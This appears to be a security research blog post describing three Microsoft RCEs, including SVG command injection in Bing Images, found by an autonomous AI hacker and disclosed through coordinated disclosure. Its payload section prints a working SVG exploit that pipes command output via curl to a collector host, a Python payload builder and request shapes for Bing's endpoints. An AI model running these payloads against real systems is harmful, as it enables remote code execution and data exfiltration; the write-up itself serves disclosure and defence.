- Blog
- Security Research
- A Shell Is Worth a Thousand Images: Bing Images RCEs
A Shell Is Worth a Thousand Images: Bing Images RCEs
Three critical Microsoft RCEs found autonomously: how attacker-controlled input becomes code inside the "boring" helpers applications treat as plumbing.
Something I've always admired in great researchers is their ability to notice what everyone else walked past. Some call it instinct. I think it's usually persistence, the discipline of being relentless and leaving no stone unturned. An AI hacker needs both.
The best bugs, or at least my favorites, are often hidden in plain sight. They sit there quietly, looking ordinary, waiting for someone (or something) patient enough to ask one more question. This investigation started exactly that way.
This article follows our original Microsoft disclosure, which we handled through Coordinated Vulnerability Disclosure (CVD): we reported the vulnerabilities privately, gave Microsoft time to remediate, and intentionally withheld the exploit mechanics until the fixes were in place and affected services had absorbed them. Coordinated disclosure kept customers protected while the remediation rolled out. That disclosure covered three Microsoft CVEs:
- CVE-2026-32194: a critical RCE in Bing Images caused by command injection in an image-processing pipeline.
- CVE-2026-32191: a second critical Bing Images RCE in a related server-side image ingestion path.
- CVE-2026-21536: a critical RCE in the Microsoft Devices Pricing Program caused by unrestricted upload of server-executable files.
Microsoft's advisories classify all three as Critical remote code execution vulnerabilities with CVSS 9.8 scores. The Bing Images advisories describe command injection and OS command injection reachable by an unauthorized attacker over a network, with no privileges or user interaction required. Microsoft's acknowledgements list XBOW as the finder for all three CVEs, which put us in the top 10 of their bug bounty leaderboard. We were the first and only AI in that ranking.
The disclosure said what we found. This article is about why it counts. Only a working exploit measures how much of a finding is real risk, and this investigation earned that proof the hard way: it began with an unremarkable blind SSRF and ended with a proven remote code execution.
This story starts there, with Bing's reverse image search. The first signal looked almost ordinary: a backend fetch for an image URL. That is, after all, what the feature is supposed to do. It would have been easy to stop there. Call it a low-impact blind SSRF. Assume the behavior was intentional and move on.
XBOW did not.
The difference was persistence. A suspicious 500, a few inconsistent responses, and small changes in how different payloads were interpreted were enough to keep the investigation alive.
What looked like expected functionality turned out to be the first step in a chain that led from image fetching to proving command execution on Bing's backend image-processing workers. We practiced safe research throughout: to prove the finding, XBOW ran only benign, read-only proof commands and sent their output to an out-of-band collector we controlled. We did not run destructive commands, modify Microsoft systems, or access customer or user data.
Bing's reverse image search could be made to fetch an attacker-controlled image URL from the backend. On its own that is hard to value: the response is blind, and fetching a submitted image is exactly what reverse image search is for. The useful signal came from the suspicious 500 that came back while the backend parsed what it had retrieved. One question framed everything that followed: what happened to those bytes after Bing fetched them?
XBOW confirmed the server-side fetch by observing an out-of-band HTTP request from Bing infrastructure to an external capture endpoint with a bingbot/2.0 user agent. The behavior was backend-dependent: because the endpoint was load-balanced, some workers returned a normal error path without processing the fetch, while vulnerable workers returned an error to the client but still performed the server-side request. That error became the breadcrumb, and the investigation followed it rather than filing it away.
The three findings are distinct flaws that share the same shape. In each case, attacker-controlled input crosses a trust boundary inside a component the application treats as inert plumbing, such as an image converter or a file-upload handler, and becomes code. The application believes it is handling an image, or storing a file. The helper underneath is running a program. And none of these is a new bug class. They are old failure modes (ImageTragick is a decade old, unrestricted upload older still) rediscovered in modern production cloud systems, autonomously, by chasing each lead one layer past where the trail usually goes cold.
Following the trace
In offensive research, the first interesting signal is rarely the vulnerability itself. More often it is a pointer: something slightly out of place that tells you where the real question is. The HTTP conversation only ever told half the story. The other half was in XBOW's reasoning trace, where each observation became evidence for the next experiment. That investigation settled into a rhythm: observe, form a hypothesis, design the experiment that would confirm or kill it, and let the result decide what to test next. A 500 was a clue worth chasing. A redirect signaled what the backend had actually processed. Every response narrowed the search space. None of this came from a single lucky payload; it came from following each result to the next until the pipeline revealed what it was willing to interpret.
The first hypothesis was XXE. Different content types produced different behavior: ordinary non-image content failed early, while SVG and XML content reached deeper parsing paths and returned errors consistent with an XML parser. But external DTD and XInclude attempts never produced the outbound fetches XXE would require. That weakened XXE and narrowed the search. Ruling a hypothesis out is progress: a dead end tells you where not to spend the next experiment, and in practice that is most of the work.
So the question changed to something more specific: which parser or helper actually received the fetched content? That reframing opened a different attack surface: XSLT or script handling in server-side SVG processors, protocol handlers exposed by parsers, and above all ImageMagick-style coders and delegates. The 500 now pointed to a downstream parser boundary worth probing.
Working blind is unforgiving in a useful way: with nothing reflected to the client, you cannot guess your way forward, you can only reason. Every signal had to count. The ones available were client-visible status codes, search redirects, hosting logs, and out-of-band callbacks, and they disagreed in a useful way: the XML-feature payloads XXE would rely on produced no secondary fetches, while an ordinary SVG image reference did trigger an outbound fetch from the renderer. Each payload asked the backend a question, and the fetch, or its absence, was the answer.
That split the two layers apart: the XML parser was not resolving external entities, but the SVG rendering layer was following image references. So the probes turned on the renderer itself. A valid referenced PNG produced a successful reverse-image-search result; a reference to an OOB endpoint produced an outbound request but failed rendering because the endpoint returned non-image content. ImageMagick pseudo-protocols drew the line more sharply still: label: rendered text, xc: generated color images, and vid:-style inputs produced recognizable image results, while text:, caption:, pango:, and direct file-read attempts failed. Each probe that failed ruled out a coder; each that worked mapped one that was live. Each rejection revealed another piece of the target's configuration.
That fingerprinted the backend as ImageMagick or an ImageMagick-compatible stack, and it exposed the shape of its policy: some coders enabled, others disabled, command metacharacters inside label: rendered as text rather than executed. Identifying the engine mattered more than any single probe, because it turned an open-ended search into a specific one. Investigations that are going well tend to feel like this: the space of possibilities narrows over time. The open question had narrowed to one thing: which ImageMagick-controlled path still reached a shell-backed delegate?
After dozens of experiments, XBOW's trace had become a map of what the pipeline would and would not interpret. Replayed in order, it is the search space collapsing, one constraint at a time. A cleaned excerpt looked like this:
REASONING TRACE A representative slice of XBOW's investigation. Every artifact that follows is a supporting exhibit.
[imgref] Status: 200 | Body:
{"redirectUrl":"/search?q=Color%20Palette%20Red%20Background..."}[uatest] Status: 500 | Body:
[mslsvg] Status: 500 | Body:
[pipe] Status: 500 | Body:
[label] Status: 200 | Body: {"redirectUrl":"/search?q=Test%20Image..."}
[text-etc-passwd] Status: 500 | Body:
[caption-test] Status: 500 | Body:
[label-pipe] Status: 200 | Body:
{"redirectUrl":"/search?q=How%20To%20Pronounce%20Lid..."}
[label-backtick] Status: 200 | Body:
{"redirectUrl":"/search?q=Id%20Logo..."}
[vid-test] Status: 200 | Body:
{"redirectUrl":"/search?q=120X120%20Test%20Image..."}
[xc-red] Status: 200 | Body:
{"redirectUrl":"/search?q=Abstract%20Curved%20Paper%20Design..."}No single line here is conclusive on its own; what matters is how many of them agree. Reading back through the trace, this is the point where the case became hard to argue with. No single test settled it; too many independent results simply pointed the same way. XML-layer tricks stayed silent, renderer-level references fired, and pseudo-protocols moved the search result. That is what kept the investigation in the image-conversion layer instead of writing off the 500 as a dead end.
From SVG to command execution
The image-helper layer was where it came together. The fetched SVG was being handed to an image conversion pipeline, and a crafted SVG could reach a delegate-enabled decoder and trigger command execution during server-side parsing and rasterization. The SSRF mattered only as a delivery mechanism: it carried attacker-controlled SVG into an unsafe image-processing worker. The actual vulnerability sat in that worker.
The same vulnerable boundary also existed in the direct image upload path. From the outside, the "Search by Image" flow looked like normal image ingestion: a user submits image data, Bing processes it, and the service returns visually related results. On the backend, however, attacker-controlled SVG content could cross from image handling into command execution.
These are the two Bing CVEs, and they are the two routes into the same delegate-backed pipeline. CVE-2026-32194 is the command injection in the image-processing pipeline, reached through the public "Search by Image" upload. CVE-2026-32191 is the server-side ingestion path, the crawler-fetched SSRF variant above. Neither required authentication, cookies, session state, or a privileged account. The exploitability came from exposed image workflows that accepted attacker-controlled content and passed it into a backend conversion tier that interpreted part of that content as executable behavior.
Proof: SYSTEM on production Bing
What came back settled the question of impact. The command ran as NT AUTHORITY\SYSTEM on production Bing image-processing workers running Windows Server 2022 Datacenter, and the output carried full SYSTEM privileges and administrator-level group membership. It was not one worker: the same behavior reproduced across multiple backend workers on different hosts and network ranges, which placed the exposure across Bing's image-processing tier rather than at a single misconfigured host.
That proof came from out-of-band callbacks rather than the visible HTTP response, and it had to: the frontend request could return an error while the backend worker still accepted the image, reached the vulnerable delegate path, executed the command, and sent command output back through an outbound HTTP request from inside the processing environment.
The first proof used a Linux-style id command, and the out-of-band collector received uid=0 and gid=0, confirming root-level execution in that environment:
OUT-OF-BAND CALLBACK CONFIRMING EXECUTION From a Linux backend worker.
POST /output
User-Agent: curl
Body: uid=0(user) gid=0(group)But the fleet was heterogeneous. Some workers handling the same image-processing path were Windows Server machines, and the automated RCE validator had been written to treat Linux output as the only success pattern, so it nearly logged real impact as a failure. A validator only recognizes the success it was told to expect, and this one had been told to expect Linux. Reading the callbacks that did come back, the investigation widened it to recognize Windows proof commands as well: systeminfo, ipconfig /all, whoami /all, and directory listing output. The callback body changed shape accordingly, which is what exposed the validator's first blind spot:
CALLBACKS FROM WINDOWS WORKERS Production output excerpts; the shape that first slipped past the validator.
POST /output
User-Agent: curl
Body (systeminfo excerpt):
OS Name: Microsoft Windows Server 2022 Datacenter
POST /output
User-Agent: curl/[redacted]
Body (whoami /all excerpt):
PRIVILEGES INFORMATION
SeImpersonatePrivilege ... Enabled
SeDebugPrivilege ... EnabledSo the proof was not a single ambiguous callback. Command output came back from both Linux and Windows workers, and on Windows the directory output placed execution inside Bing's multimedia image-processing components, which put the commands in the expected backend tier. The server-side-fetch variant ran through end to end as well: the SVG hosted externally, a backend bingbot/2.0 fetching it, and the curl callback returning command output, reproduced across multiple payload variants.
None of this was guaranteed to surface. The server-side fetch was expected functionality, and a blind SSRF that returns nothing to the client is the kind of finding that gets triaged down. How many of these get closed as informational or won't-fix because the real vulnerability sits one parser boundary deeper, past the point where the trail normally goes cold? The error that fetch returned was the whole signal, and it was easy to miss.
In hindsight the path from that 500 to a SYSTEM shell looks inevitable. It did not while the investigation was still running. At each step there was only the current hypothesis, the last result, and the question of what to test next. Nothing chose that next question but the evidence in front of it. The 500 that started it could just as easily have been logged and forgotten.
Anatomy of the payload
By this point the payload was almost anticlimactic. Constructing an SVG was the easy part. The difficult part was everything that came before it: proving which backend boundary would interpret attacker-controlled image content as executable behavior. Every payload up to this one existed to answer a question about the system. This one existed to prove the conclusion. For the direct upload path, the submitted image data was a base64-encoded SVG with three parts:
- An SVG wrapper accepted by the image ingestion flow.
- An embedded href / xlink:href image reference that reached the delegate-enabled conversion path.
- A pipe-prefixed proof command whose output was sent to an out-of-band collector controlled by XBOW.
In host-redacted form, the structure looked like this:
DIRECT-UPLOAD PAYLOAD STRUCTURE Hostnames redacted.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<image href="|id | curl -d @- https://[OOB-COLLECTOR]/output" width="1" height="1"/>
</svg>The base64-wrapped direct-upload request shape was:
DIRECT-UPLOAD REQUEST Encoded SVG submitted to the Bing image ingestion endpoint.
SVG_B64="$(base64 -w0 exploit.svg)"
curl -s -o /dev/null -w '%{http_code}' \
-F "imageBin=${SVG_B64}" \
"https://www.bing.com/images/kblob"For a local lab that intentionally enables the same dangerous delegate behavior, the class can be demonstrated with a minimal SVG like this:
MINIMAL LABORATORY DEMONSTRATION Reproduces the class where the delegate is deliberately enabled.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<image href="|id" width="1" height="1"/>
</svg>The production proof used the same structural idea, with the collector host redacted here. On Windows Server 2022 backend workers, that callback confirmed execution as NT AUTHORITY\SYSTEM. The snippets below preserve the payload and request shape while redacting our callback infrastructure.
The production payload builder looked like this:
PRODUCTION PAYLOAD BUILDER Collector host redacted.
#!/usr/bin/env python3
import base64
import sys
command = sys.argv[1]
oob = "[OOB-COLLECTOR].evil.tld"
svg = '<?xml version="1.0" encoding="UTF-8"?>\n'
svg += '<svg xmlns="http://www.w3.org/2000/svg" '
svg += 'xmlns:xlink="http://www.w3.org/1999/xlink" '
svg += 'width="100" height="100">\n'
svg += ' <image xlink:href="|' + command
svg += ' | curl -d @- http://' + oob + '/output" '
svg += 'width="100" height="100"/>\n'
svg += '</svg>'
svg_b64 = base64.b64encode(svg.encode()).decode()For the crawler variant, the same class of SVG content was hosted externally and fetched by Bing's backend crawler before being processed by the image conversion tier. The request shape was a server-side-fetch trigger plus a reference to attacker-controlled image content:
SERVER-SIDE-FETCH TRIGGER (CRAWLER VARIANT) Payload host redacted.
curl -s -D - \
"https://www.bing.com/images/search?imgurl=https://[PAYLOAD-HOST]/exploit.svg&view=detailv2&iss=sbi"The corresponding hosting and OOB logs showed the two halves of the chain:
SERVER-SIDE FETCH OBSERVED DURING VALIDATION Hosting log and callback, representative.
GET /exploit.svg
User-Agent: Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
POST /output
User-Agent: curl/[redacted]
Body: uid=0(user) gid=0(group)
In both cases, the critical behavior was the same: attacker-controlled SVG content reached a backend delegate path that treated part of the image reference as executable behavior.
We are intentionally omitting our callback infrastructure, backend tool version strings, and full live-target reproduction context here. The lesson is architectural: high-risk parsing and conversion components need strict input validation, dangerous delegate features disabled by default, and isolation boundaries that assume file formats are active attack surfaces rather than inert media.
Why image pipelines are dangerous
This works because formats such as SVG are not just pixels. SVG is XML: it can describe shapes, embed references to other images, and reach conversion features that image-processing suites support for compatibility. ImageMagick-style pipelines normalize these rich formats through coders, pseudo-protocols, and delegate programs. Those features are useful when the input is trusted and dangerous when they are reachable from public upload or crawler paths. A value that looks like an image reference to the application becomes an instruction to the converter, and once the converter can invoke shell-backed delegates, the trust boundary is already gone.
The attack vector has a long history. ImageTragick (CVE-2016-3714) documented crafted image content reaching ImageMagick coders and delegates and executing commands through shell metacharacters; more recent SVG-to-RCE work in ImageMagick and Ghostscript shows the same risk composed from MVG, protocol handlers, and delegate interpreters when policies are too broad. The Bing findings took a more direct path to command execution, but the lesson is unchanged: untrusted image conversion is command-injection-sensitive code, not ordinary media handling. It is not only ImageMagick, either. In GitLab's disclosed HackerOne report on ExifTool, uploaded files sent for metadata stripping were type-identified by content rather than extension, reached a parser GitLab never meant to expose, and produced RCE, the same class of failure in a different helper.
Applications treat image helpers as plumbing. Attackers treat them as parsers. Call a converter, strip metadata, resize, rasterize, thumbnail, and move on, and it is easy to forget these helpers carry decades of format compatibility, protocol support, shell-out behavior, and content sniffing. The application believes it is accepting "an image"; the helper sees SVG, MVG, EPS, DjVu, EXIF, embedded URLs, delegate protocols, or interpreter-backed formats. Unless that boundary is deliberately narrowed, the helper quietly becomes an attacker-controlled execution environment.
Technical takeaways
The Bing Images bugs point to a defensive theme: dangerous execution boundaries hide behind ordinary application features. Two boundaries did the damage here.
For image flows, the boundary is helper invocation. Assume image parsers, converters, metadata strippers, rasterizers, and crawlers are part of the attack surface. Format sniffing, embedded references, delegate protocols, shell-outs, and interpreter-backed formats all matter. ImageMagick's own security policy guidance recommends a policy suited to the deployment environment, and specifically calls out public website use cases where risky coders, modules, indirect reads, filters, and external delegates should be restricted or disabled. Deployments that process untrusted uploads or server-fetched images should disable shell-invoking delegates, including pipe-based delegate behavior, enforce a restrictive policy.xml and delegates.xml, and disallow high-risk formats such as SVG, MVG, and EPS unless explicitly required and processed inside a tightly isolated environment. More broadly: sharply limit supported formats, run conversion in a sandbox with reduced privileges, and constrain outbound network access from workers.
For server-side fetch flows, the boundary is egress. Any feature that fetches a user-supplied URL needs strict destination allowlists, scheme validation, redirect controls, DNS rebinding protections, internal address blocking, and network policy that prevents access to metadata services or internal-only systems. In this case, the server-side fetch mattered because it handed attacker-controlled bytes to a dangerous image helper.
The validator failure carried its own lesson. A proof harness that assumes one operating system, one output shape, or one worker type can miss real impact in heterogeneous fleets. In this case, the same vulnerability produced Linux and Windows callbacks. The exploit was working; the first validator was simply too narrow to catch it.
Neither Bing CVE required a new bug class. Command injection in image helpers has been around for years. What was new was the persistence needed to recognize them in a modern cloud service, where every intermediate step looked ordinary: a server-side fetch, a parser error, a renderer behaving differently than expected. None of those was worth stopping for on its own. The investigation kept asking what each new piece of evidence meant, one experiment at a time, until the answer was a SYSTEM shell.
It raises a further question, though: how does an autonomous system hold a path like this, through dozens of dead ends, without a human steering each step? That is a problem we take up in a forthcoming piece, The Engineering of Autonomy.